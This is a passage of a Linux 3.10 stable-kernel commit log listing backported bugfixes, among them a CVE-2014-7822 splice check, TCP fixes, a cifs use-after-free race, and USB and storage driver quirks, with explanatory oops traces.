If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms with firmware: T: Bus=03 Lev=01 Prnt=01 Port=02 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=311e Rev= 0.02 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms Signed-off-by: Oliver Neukum Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c6eefde23f77762386e9b203cf4e70e01041271 Author: Ben Hutchings Date: Thu Jan 29 02:50:33 2015 +0000 splice: Apply generic position and size checks to each write commit 894c6350eaad7e613ae267504014a456e00a3e2a from the 3.2-stable branch. We need to check the position and size of file writes against various limits, using generic_write_check(). This was not being done for the splice write path. It was fixed upstream by commit 8d0207652cbe ("->splice_write() via ->write_iter()") but we can't apply that. CVE-2014-7822 Signed-off-by: Ben Hutchings [Ben fixed it in 3.2 stable, i ported it to 3.10 stable] Signed-off-by: Zhang Zhen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c814e02342f2cc907d6fedb101de168ee983b609 Author: Dave Kleikamp Date: Mon Mar 23 16:06:26 2015 -0500 jfs: fix readdir regression Upstream commit 44512449, "jfs: fix readdir cookie incompatibility with NFSv4", was backported incorrectly into the stable trees which used the filldir callback (rather than dir_emit). The position is being incorrectly passed to filldir for the . and .. entries. The still-maintained stable trees that need to be fixed are 3.2.y, 3.4.y and 3.10.y. https://bugzilla.kernel.org/show_bug.cgi?id=94741 Signed-off-by: Dave Kleikamp Cc: jfs-discussion@lists.sourceforge.net Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e6871b16501ea98f9c0e23d921213a25ea1b8b1 Author: Peter Hurley Date: Wed Mar 11 09:19:16 2015 -0400 serial: 8250_dw: Fix deadlock in LCR workaround commit 7fd6f640f2dd17dac6ddd6702c378cb0bb9cfa11 upstream. Trying to write console output from within the serial console driver while the port->lock is held causes recursive deadlock: CPU 0 spin_lock_irqsave(&port->lock) printk() console_unlock() call_console_drivers() serial8250_console_write() spin_lock_irqsave(&port->lock) ** DEADLOCK ** The 8250_dw i/o accessors try to write a console error message if the LCR workaround was unsuccessful. When the port->lock is already held (eg., when called from serial8250_set_termios()), this deadlocks. Make the error message a FIXME until a general solution is devised. Cc: Tim Kryger Reported-by: Zhang Zhen Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea862e2d001bf9cbc964139cdeb7f270246cfdef Author: Eric W. Biederman Date: Tue Mar 11 14:19:50 2014 -0700 benet: Call dev_kfree_skby_any instead of kfree_skb. Replace free_skb with dev_kfree_skb_any in be_tx_compl_process as which can be called in hard irq by netpoll, softirq context by normal napi polling, and in normal sleepable context by the network device close method. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e20d6f79b23253376419d9c0fc266131b58fbee2 Author: Eric W. Biederman Date: Tue Mar 11 14:18:42 2014 -0700 ixgb: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 98dbc621f93c09515698dfcd82f17274f40f30e9 Author: Eric W. Biederman Date: Tue Mar 11 14:18:14 2014 -0700 tg3: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d2db231a907d2c5d312cc22d4c4b8b826e7e6a1 Author: Eric W. Biederman Date: Tue Mar 11 14:17:41 2014 -0700 bnx2: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae87b0fa756b6448694c9c5acd362d71f04c973a Author: Eric W. Biederman Date: Tue Mar 11 14:16:14 2014 -0700 r8169: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e92b75be8f53272aaf797f96fb62e9a3c8001a0d Author: Eric W. Biederman Date: Tue Mar 11 14:15:36 2014 -0700 8139too: Call dev_kfree_skby_any instead of dev_kfree_skb. Replace dev_kfree_skb with dev_kfree_skb_any in functions that can be called in hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f489eee65cd2d1cf97a0ecf789b53c95046c5ad3 Author: Eric W. Biederman Date: Tue Mar 11 14:14:58 2014 -0700 8139cp: Call dev_kfree_skby_any instead of kfree_skb. Replace kfree_skb with dev_kfree_skb_any in cp_start_xmit as it can be called in both hard irq and other contexts. Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f615652aba8313b49d0856226c5722be4bad43b Author: Eric Dumazet Date: Thu Apr 9 13:31:56 2015 -0700 tcp: tcp_make_synack() should clear skb->tstamp [ Upstream commit b50edd7812852d989f2ef09dcfc729690f54a42d ] I noticed tcpdump was giving funky timestamps for locally generated SYNACK messages on loopback interface. 11:42:46.938990 IP 127.0.0.1.48245 > 127.0.0.2.23850: S 945476042:945476042(0) win 43690 20:28:58.502209 IP 127.0.0.2.23850 > 127.0.0.1.48245: S 3160535375:3160535375(0) ack 945476043 win 43690 This is because we need to clear skb->tstamp before entering lower stack, otherwise net_timestamp_check() does not set skb->tstamp. Fixes: 7faee5c0d514 ("tcp: remove TCP_SKB_CB(skb)->when") Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2475b3660452d22a08ec557254de2161cd4f4b2e Author: Neal Cardwell Date: Wed Apr 1 20:26:46 2015 -0400 tcp: fix FRTO undo on cumulative ACK of SACKed range [ Upstream commit 666b805150efd62f05810ff0db08f44a2370c937 ] On processing cumulative ACKs, the FRTO code was not checking the SACKed bit, meaning that there could be a spurious FRTO undo on a cumulative ACK of a previously SACKed skb. The FRTO code should only consider a cumulative ACK to indicate that an original/unretransmitted skb is newly ACKed if the skb was not yet SACKed. The effect of the spurious FRTO undo would typically be to make the connection think that all previously-sent packets were in flight when they really weren't, leading to a stall and an RTO. Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Fixes: e33099f96d99c ("tcp: implement RFC5682 F-RTO") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e89d5ea61c96846fb28bca40f2b66fde5cad691 Author: Michal KubeÄek Date: Mon Mar 23 15:14:00 2015 +0100 tcp: prevent fetching dst twice in early demux code [ Upstream commit d0c294c53a771ae7e84506dfbd8c18c30f078735 ] On s390x, gcc 4.8 compiles this part of tcp_v6_early_demux() struct dst_entry *dst = sk->sk_rx_dst; if (dst) dst = dst_check(dst, inet6_sk(sk)->rx_dst_cookie); to code reading sk->sk_rx_dst twice, once for the test and once for the argument of ip6_dst_check() (dst_check() is inline). This allows ip6_dst_check() to be called with null first argument, causing a crash. Protect sk->sk_rx_dst access by ACCESS_ONCE() both in IPv4 and IPv6 TCP early demux code. Fixes: 41063e9dd119 ("ipv4: Early TCP socket demux.") Fixes: c7109986db3c ("ipv6: Early TCP socket demux") Signed-off-by: Michal Kubecek Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0fd96a19cecdf9f5823d8a6358faa0d9019cd57 Author: Alex Elder Date: Thu Jan 23 15:54:01 2014 -0800 remove extra definitions of U32_MAX commit 04f9b74e4d96d349de12fdd4e6626af4a9f75e09 upstream. Now that the definition is centralized in , the definitions of U32_MAX (and related) elsewhere in the kernel can be removed. Signed-off-by: Alex Elder Acked-by: Sage Weil Acked-by: David S. Miller Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf63a7a4dc0b1430a76a7e42273c2b9b1e21c540 Author: Alex Elder Date: Thu Jan 23 15:53:59 2014 -0800 conditionally define U32_MAX commit 77719536dc00f8fd8f5abe6dadbde5331c37f996 upstream. The symbol U32_MAX is defined in several spots. Change these definitions to be conditional. This is in preparation for the next patch, which centralizes the definition in . Signed-off-by: Alex Elder Cc: Sage Weil Cc: David Miller Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7f87790ea7fc5ab2aabbcf3a9b991ada90d6153 Author: Pranav Vashi Date: Sat Mar 28 01:09:18 2015 +0530 net: Fix warning for unused variable Signed-off-by: Pranav Vashi commit c2744c4355d795ff27939430419a1e40ffa85de4 Author: Greg Kroah-Hartman Date: Sun Apr 19 10:12:19 2015 +0200 Linux 3.10.75 Signed-off-by: Pranav Vashi commit e31b3a6057f268b5d30a6756951bfaff587dbed4 Author: Peter Hurley Date: Sun Mar 1 10:11:05 2015 -0500 console: Fix console name size mismatch commit 30a22c215a0007603ffc08021f2e8b64018517dd upstream. commit 6ae9200f2cab7 ("enlarge console.name") increased the storage for the console name to 16 bytes, but not the corresponding struct console_cmdline::name storage. Console names longer than 8 bytes cause read beyond end-of-string and failure to match console; I'm not sure if there are other unexpected consequences. Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66befdc311e86c8dcea4c47b01ad1693faad0f2f Author: Majd Dibbiny Date: Wed Mar 18 16:51:37 2015 +0200 IB/mlx4: Saturate RoCE port PMA counters in case of overflow commit 61a3855bb726cbb062ef02a31a832dea455456e0 upstream. For RoCE ports, we set the u32 PMA values based on u64 HCA counters. In case of overflow, according to the IB spec, we have to saturate a counter to its max value, do that. Fixes: c37791349cc7 ('IB/mlx4: Support PMA counters for IBoE') Signed-off-by: Majd Dibbiny Signed-off-by: Eran Ben Elisha Signed-off-by: Hadar Hen Zion Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 818e6e53d77e02c799ab09b3721c42bd0f64bf1c Author: Mateusz Guzik Date: Mon Jan 27 17:07:11 2014 -0800 ipc: fix compat msgrcv with negative msgtyp commit e7ca2552369c1dfe0216c626baf82c3d83ec36bb upstream. Compat function takes msgtyp argument as u32 and passes it down to do_msgrcv which results in casting to long, thus the sign is lost and we get a big positive number instead. Cast the argument to signed type before passing it down. Signed-off-by: Mateusz Guzik Reported-by: Gabriellla Schmidt Cc: Al Viro Cc: Davidlohr Bueso Cc: Manfred Spraul Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Masanari Iida Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57e8cb5bc3b796a8ee13d555bd5829d929535709 Author: Marek Szyprowski Date: Wed Mar 4 05:55:21 2015 -0800 media: s5p-mfc: fix mmap support for 64bit arch commit 05b676ab42f624425d5f6519276e506b812fa058 upstream. TASK_SIZE is depends on the systems architecture (32 or 64 bits) and it should not be used for defining offset boundary for mmaping buffers for CAPTURE and OUTPUT queues. This patch fixes support for MMAP calls on the CAPTURE queue on 64bit architectures (like ARM64). Signed-off-by: Marek Szyprowski Signed-off-by: Kamil Debski Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29d553618bb7be1ddf127ddbb83614e2af0cef21 Author: Mike Christie Date: Fri Apr 10 02:47:27 2015 -0500 iscsi target: fix oops when adding reject pdu commit b815fc12d4dd2b5586184fb4f867caff05a810d4 upstream. This fixes a oops due to a double list add when adding a reject PDU for iscsit_allocate_iovecs allocation failures. The cmd has already been added to the conn_cmd_list in iscsit_setup_scsi_cmd, so this has us call iscsit_reject_cmd. Note that for ERL0 the reject PDU is not actually sent, so this patch is not completely tested. Just verified we do not oops. The problem is the add reject functions return -1 which is returned all the way up to iscsi_target_rx_thread which for ERL0 will drop the connection. Signed-off-by: Mike Christie Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f0f7273bb3bf78304bb88e47289f1b27055cd58 Author: Al Viro Date: Wed Apr 8 17:00:32 2015 -0400 ocfs2: _really_ sync the right range commit 64b4e2526d1cf6e6a4db6213d6e2b6e6ab59479a upstream. "ocfs2 syncs the wrong range" had been broken; prior to it the code was doing the wrong thing in case of O_APPEND, all right, but _after_ it we were syncing the wrong range in 100% cases. *ppos, aka iocb->ki_pos is incremented prior to that point, so we are always doing sync on the area _after_ the one we'd written to. Spotted by Joseph Qi back in January; unfortunately, I'd missed his mail back then ;-/ Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7f4f4c7323b66f0273ccc1f2ae8fe86a067d24a2 Author: John Soni Jose Date: Thu Feb 12 06:45:47 2015 +0530 be2iscsi: Fix kernel panic when device initialization fails commit 2e7cee027b26cbe7e6685a7a14bd2850bfe55d33 upstream. Kernel panic was happening as iscsi_host_remove() was called on a host which was not yet added. Signed-off-by: John Soni Jose Reviewed-by: Mike Christie Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3cccd7304f8412372f3e3e7b2e8ac155cbacc215 Author: David Disseldorp Date: Fri Mar 13 14:20:29 2015 +0100 cifs: fix use-after-free bug in find_writable_file commit e1e9bda22d7ddf88515e8fe401887e313922823e upstream. Under intermittent network outages, find_writable_file() is susceptible to the following race condition, which results in a user-after-free in the cifs_writepages code-path: Thread 1 Thread 2 ======== ======== inv_file = NULL refind = 0 spin_lock(&cifs_file_list_lock) // invalidHandle found on openFileList inv_file = open_file // inv_file->count currently 1 cifsFileInfo_get(inv_file) // inv_file->count = 2 spin_unlock(&cifs_file_list_lock); cifs_reopen_file() cifs_close() // fails (rc != 0) ->cifsFileInfo_put() spin_lock(&cifs_file_list_lock) // inv_file->count = 1 spin_unlock(&cifs_file_list_lock) spin_lock(&cifs_file_list_lock); list_move_tail(&inv_file->flist, &cifs_inode->openFileList); spin_unlock(&cifs_file_list_lock); cifsFileInfo_put(inv_file); ->spin_lock(&cifs_file_list_lock) // inv_file->count = 0 list_del(&cifs_file->flist); // cleanup!! kfree(cifs_file); spin_unlock(&cifs_file_list_lock); spin_lock(&cifs_file_list_lock); ++refind; // refind = 1 goto refind_writable; At this point we loop back through with an invalid inv_file pointer and a refind value of 1. On second pass, inv_file is not overwritten on openFileList traversal, and is subsequently dereferenced. Signed-off-by: David Disseldorp Reviewed-by: Jeff Layton Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f601d0b091ecef57af3a8e399bfed83e90eb123b Author: Lu Baolu Date: Mon Mar 23 18:27:42 2015 +0200 usb: xhci: apply XHCI_AVOID_BEI quirk to all Intel xHCI controllers commit 227a4fd801c8a9fa2c4700ab98ec1aec06e3b44d upstream. When a device with an isochronous endpoint is plugged into the Intel xHCI host controller, and the driver submits multiple frames per URB, the xHCI driver will set the Block Event Interrupt (BEI) flag on all but the last TD for the URB. This causes the host controller to place an event on the event ring, but not send an interrupt. When the last TD for the URB completes, BEI is cleared, and we get an interrupt for the whole URB. However, under Intel xHCI host controllers, if the event ring is full of events from transfers with BEI set, an "Event Ring is Full" event will be posted to the last entry of the event ring, but no interrupt is generated. Host will cease all transfer and command executions and wait until software completes handling the pending events in the event ring. That means xHC stops, but event of "event ring is full" is not notified. As the result, the xHC looks like dead to user. This patch is to apply XHCI_AVOID_BEI quirk to Intel xHC devices. And it should be backported to kernels as old as 3.0, that contains the commit 69e848c2090a ("Intel xhci: Support EHCI/xHCI port switching."). Signed-off-by: Lu Baolu Tested-by: Alistair Grant Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b397b7e615455f53f51009e3c5992c743f429c21 Author: Thomas Schlichter Date: Tue Mar 31 20:24:39 2015 +0200 cpuidle: ACPI: do not overwrite name and description of C0 commit c7e8bdf5872c5a8f5a6494e16fe839c38a0d3d3d upstream. Fix a bug that leads to showing the name and description of C-state C0 as "" in sysfs after the ACPI C-states changed (e.g. after AC->DC or DC->AC transition). The function poll_idle_init() in drivers/cpuidle/driver.c initializes the state 0 during cpuidle_register_driver(), so we better do not overwrite it again with '\0' during acpi_processor_cst_has_changed(). Signed-off-by: Thomas Schlichter Reviewed-by: Bartlomiej Zolnierkiewicz Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0272aa33b87b5ccc29ba34284408caba162b424 Author: Peter Ujfalusi Date: Fri Mar 27 13:35:52 2015 +0200 dmaengine: omap-dma: Fix memory leak when terminating running transfer commit 02d88b735f5a60f04dbf6d051b76e1877a0d0844 upstream. In omap_dma_start_desc the vdesc->node is removed from the virt-dma framework managed lists (to be precise from the desc_issued list). If a terminate_all comes before the transfer finishes the omap_desc will not be freed up because it is not in any of the lists and we stopped the DMA channel so the transfer will not going to complete. There is no special sequence for leaking memory when using cyclic (audio) transfer: with every start and stop of a cyclic transfer the driver leaks struct omap_desc worth of memory. Free up the allocated memory directly in omap_dma_terminate_all() since the framework will not going to do that for us. Signed-off-by: Peter Ujfalusi CC: Signed-off-by: Vinod Koul Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b747cc95cf1787af31b12bb256a3cf0f97100388 Author: Darshana Padmadas Date: Sat Mar 28 12:07:14 2015 +0530 iio: imu: Use iio_trigger_get for indio_dev->trig assignment commit 4ce7ca89d6e8eae9e201cd0e972ba323f33e2fb4 upstream. This patch uses iio_trigger_get to increment the reference count of trigger device, to avoid incorrect assignment. Can result in a null pointer dereference during removal if the trigger has been changed before removal. This patch refers to a similar situation encountered through the following discussion: http://www.spinics.net/lists/linux-iio/msg13669.html Signed-off-by: Darshana Padmadas Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24d72882fee9e9be3c9c717aa3d02d1d311e0131 Author: Viorel Suman Date: Wed Feb 18 20:05:21 2015 +0200 iio: inv_mpu6050: Clear timestamps fifo while resetting hardware fifo commit 4dac0a8eefd55bb1f157d1a5a084531334a2d74c upstream. A hardware fifo reset always imply an invalidation of the existing timestamps, so we'll clear timestamps fifo on successfull hardware fifo reset. Signed-off-by: Viorel Suman Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1258db09ac77c9cbd57981cc86d7a2427536424 Author: Bart Van Assche Date: Wed Mar 4 10:31:47 2015 +0100 Defer processing of REQ_PREEMPT requests for blocked devices commit bba0bdd7ad4713d82338bcd9b72d57e9335a664b upstream. SCSI transport drivers and SCSI LLDs block a SCSI device if the transport layer is not operational. This means that in this state no requests should be processed, even if the REQ_PREEMPT flag has been set. This patch avoids that a rescan shortly after a cable pull sporadically triggers the following kernel oops: BUG: unable to handle kernel paging request at ffffc9001a6bc084 IP: [] mlx4_ib_post_send+0xd2/0xb30 [mlx4_ib] Process rescan-scsi-bus (pid: 9241, threadinfo ffff88053484a000, task ffff880534aae100) Call Trace: [] srp_post_send+0x65/0x70 [ib_srp] [] srp_queuecommand+0x1cf/0x3e0 [ib_srp] [] scsi_dispatch_cmd+0x101/0x280 [scsi_mod] [] scsi_request_fn+0x411/0x4d0 [scsi_mod] [] __blk_run_queue+0x27/0x30 [] blk_execute_rq_nowait+0x82/0x110 [] blk_execute_rq+0x62/0xf0 [] scsi_execute+0xe8/0x190 [scsi_mod] [] scsi_execute_req+0xa3/0x130 [scsi_mod] [] scsi_probe_lun+0x17a/0x450 [scsi_mod] [] scsi_probe_and_add_lun+0x156/0x480 [scsi_mod] [] __scsi_scan_target+0xdf/0x1f0 [scsi_mod] [] scsi_scan_host_selected+0x183/0x1c0 [scsi_mod] [] scsi_scan+0xdb/0xe0 [scsi_mod] [] store_scan+0x13/0x20 [scsi_mod] [] sysfs_write_file+0xcb/0x160 [] vfs_write+0xce/0x140 [] sys_write+0x53/0xa0 [] system_call_fastpath+0x16/0x1b [<00007f611c9d9300>] 0x7f611c9d92ff Reported-by: Max Gurtuvoy Signed-off-by: Bart Van Assche Reviewed-by: Mike Christie Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea38fa006e4c75e08e0b1302dbffd2ab60b6a117 Author: Doug Goldstein Date: Mon Mar 23 20:34:48 2015 -0500 USB: ftdi_sio: Use jtag quirk for SNAP Connect E10 commit b229a0f840f774d29d8fedbf5deb344ca36b7f1a upstream. This patch uses the existing CALAO Systems ftdi_8u2232c_probe in order to avoid attaching a TTY to the JTAG port as this board is based on the CALAO Systems reference design and needs the same fix up. Signed-off-by: Doug Goldstein [johan: clean up probe logic ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48bff58654ef859d1a9178e580e1866dee506bca Author: Doug Goldstein Date: Sun Mar 15 21:56:04 2015 -0500 USB: ftdi_sio: Added custom PID for Synapse Wireless product commit 4899c054a90439477b24da8977db8d738376fe90 upstream. Synapse Wireless uses the FTDI VID with a custom PID of 0x9090 for their SNAP Stick 200 product. Signed-off-by: Doug Goldstein Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70aa435a2daeef4f68f29d6b9fb5c7c5889a7cba Author: David Miller Date: Wed Mar 18 23:18:40 2015 -0400 radeon: Do not directly dereference pointers to BIOS area. commit f2c9e560b406f2f6b14b345c7da33467dee9cdf2 upstream. Use readb() and memcpy_fromio() accessors instead. Reviewed-by: Christian König Signed-off-by: David S. Miller Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 854ab0265ed39f577354320bbdcd7b3a2f0cc537 Author: Tejun Heo Date: Mon Mar 23 00:18:48 2015 -0400 writeback: fix possible underflow in write bandwidth calculation commit c72efb658f7c8b27ca3d0efb5cfd5ded9fcac89e upstream. From 1ebf33901ecc75d9496862dceb1ef0377980587c Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Mon, 23 Mar 2015 00:08:19 -0400 2f800fbd777b ("writeback: fix dirtied pages accounting on redirty") introduced account_page_redirty() which reverts stat updates for a redirtied page, making BDI_DIRTIED no longer monotonically increasing. bdi_update_write_bandwidth() uses the delta in BDI_DIRTIED as the basis for bandwidth calculation. While unlikely, since the above patch, the newer value may be lower than the recorded past value and underflow the bandwidth calculation leading to a wild result. Fix it by subtracing min of the old and new values when calculating delta. AFAIK, there hasn't been any report of it happening but the resulting erratic behavior would be non-critical and temporary, so it's possible that the issue is happening without being reported. The risk of the fix is very low, so tagged for -stable. Signed-off-by: Tejun Heo Cc: Jens Axboe Cc: Jan Kara Cc: Wu Fengguang Cc: Greg Thelen Fixes: 2f800fbd777b ("writeback: fix dirtied pages accounting on redirty") Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae42149ea5d5f1d28ca623e958ab744091e50016 Author: Tejun Heo Date: Wed Mar 4 10:37:43 2015 -0500 writeback: add missing INITIAL_JIFFIES init in global_update_bandwidth() commit 7d70e15480c0450d2bfafaad338a32e884fc215e upstream. global_update_bandwidth() uses static variable update_time as the timestamp for the last update but forgets to initialize it to INITIALIZE_JIFFIES. This means that global_dirty_limit will be 5 mins into the future on 32bit and some large amount jiffies into the past on 64bit. This isn't critical as the only effect is that global_dirty_limit won't be updated for the first 5 mins after booting on 32bit machines, especially given the auxiliary nature of global_dirty_limit's role - protecting against global dirty threshold's sudden dips; however, it does lead to unintended suboptimal behavior. Fix it. Fixes: c42843f2f0bb ("writeback: introduce smoothed global dirty limit") Signed-off-by: Tejun Heo Acked-by: Jan Kara Cc: Wu Fengguang Cc: Jens Axboe Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f771486031af509fab15aad70b62251a5cab5748 Author: Gu Zheng Date: Wed Mar 25 15:55:20 2015 -0700 mm/memory hotplug: postpone the reset of obsolete pgdat commit b0dc3a342af36f95a68fe229b8f0f73552c5ca08 upstream. Qiu Xishi reported the following BUG when testing hot-add/hot-remove node under stress condition: BUG: unable to handle kernel paging request at 0000000000025f60 IP: next_online_pgdat+0x1/0x50 PGD 0 Oops: 0000 [#1] SMP ACPI: Device does not support D3cold Modules linked in: fuse nls_iso8859_1 nls_cp437 vfat fat loop dm_mod coretemp mperf crc32c_intel ghash_clmulni_intel aesni_intel ablk_helper cryptd lrw gf128mul glue_helper aes_x86_64 pcspkr microcode igb dca i2c_algo_bit ipv6 megaraid_sas iTCO_wdt i2c_i801 i2c_core iTCO_vendor_support tg3 sg hwmon ptp lpc_ich pps_core mfd_core acpi_pad rtc_cmos button ext3 jbd mbcache sd_mod crc_t10dif scsi_dh_alua scsi_dh_rdac scsi_dh_hp_sw scsi_dh_emc scsi_dh ahci libahci libata scsi_mod [last unloaded: rasf] CPU: 23 PID: 238 Comm: kworker/23:1 Tainted: G O 3.10.15-5885-euler0302 #1 Hardware name: HUAWEI TECHNOLOGIES CO.,LTD. Huawei N1/Huawei N1, BIOS V100R001 03/02/2015 Workqueue: events vmstat_update task: ffffa800d32c0000 ti: ffffa800d32ae000 task.ti: ffffa800d32ae000 RIP: 0010: next_online_pgdat+0x1/0x50 RSP: 0018:ffffa800d32afce8 EFLAGS: 00010286 RAX: 0000000000001440 RBX: ffffffff81da53b8 RCX: 0000000000000082 RDX: 0000000000000000 RSI: 0000000000000082 RDI: 0000000000000000 RBP: ffffa800d32afd28 R08: ffffffff81c93bfc R09: ffffffff81cbdc96 R10: 00000000000040ec R11: 00000000000000a0 R12: ffffa800fffb3440 R13: ffffa800d32afd38 R14: 0000000000000017 R15: ffffa800e6616800 FS: 0000000000000000(0000) GS:ffffa800e6600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000025f60 CR3: 0000000001a0b000 CR4: 00000000001407e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: refresh_cpu_vm_stats+0xd0/0x140 vmstat_update+0x11/0x50 process_one_work+0x194/0x3d0 worker_thread+0x12b/0x410 kthread+0xc6/0xd0 ret_from_fork+0x7c/0xb0 The cause is the "memset(pgdat, 0, sizeof(*pgdat))" at the end of try_offline_node, which will reset all the content of pgdat to 0, as the pgdat is accessed lock-free, so that the users still using the pgdat will panic, such as the vmstat_update routine. process A: offline node XX: vmstat_updat() refresh_cpu_vm_stats() for_each_populated_zone() find online node XX 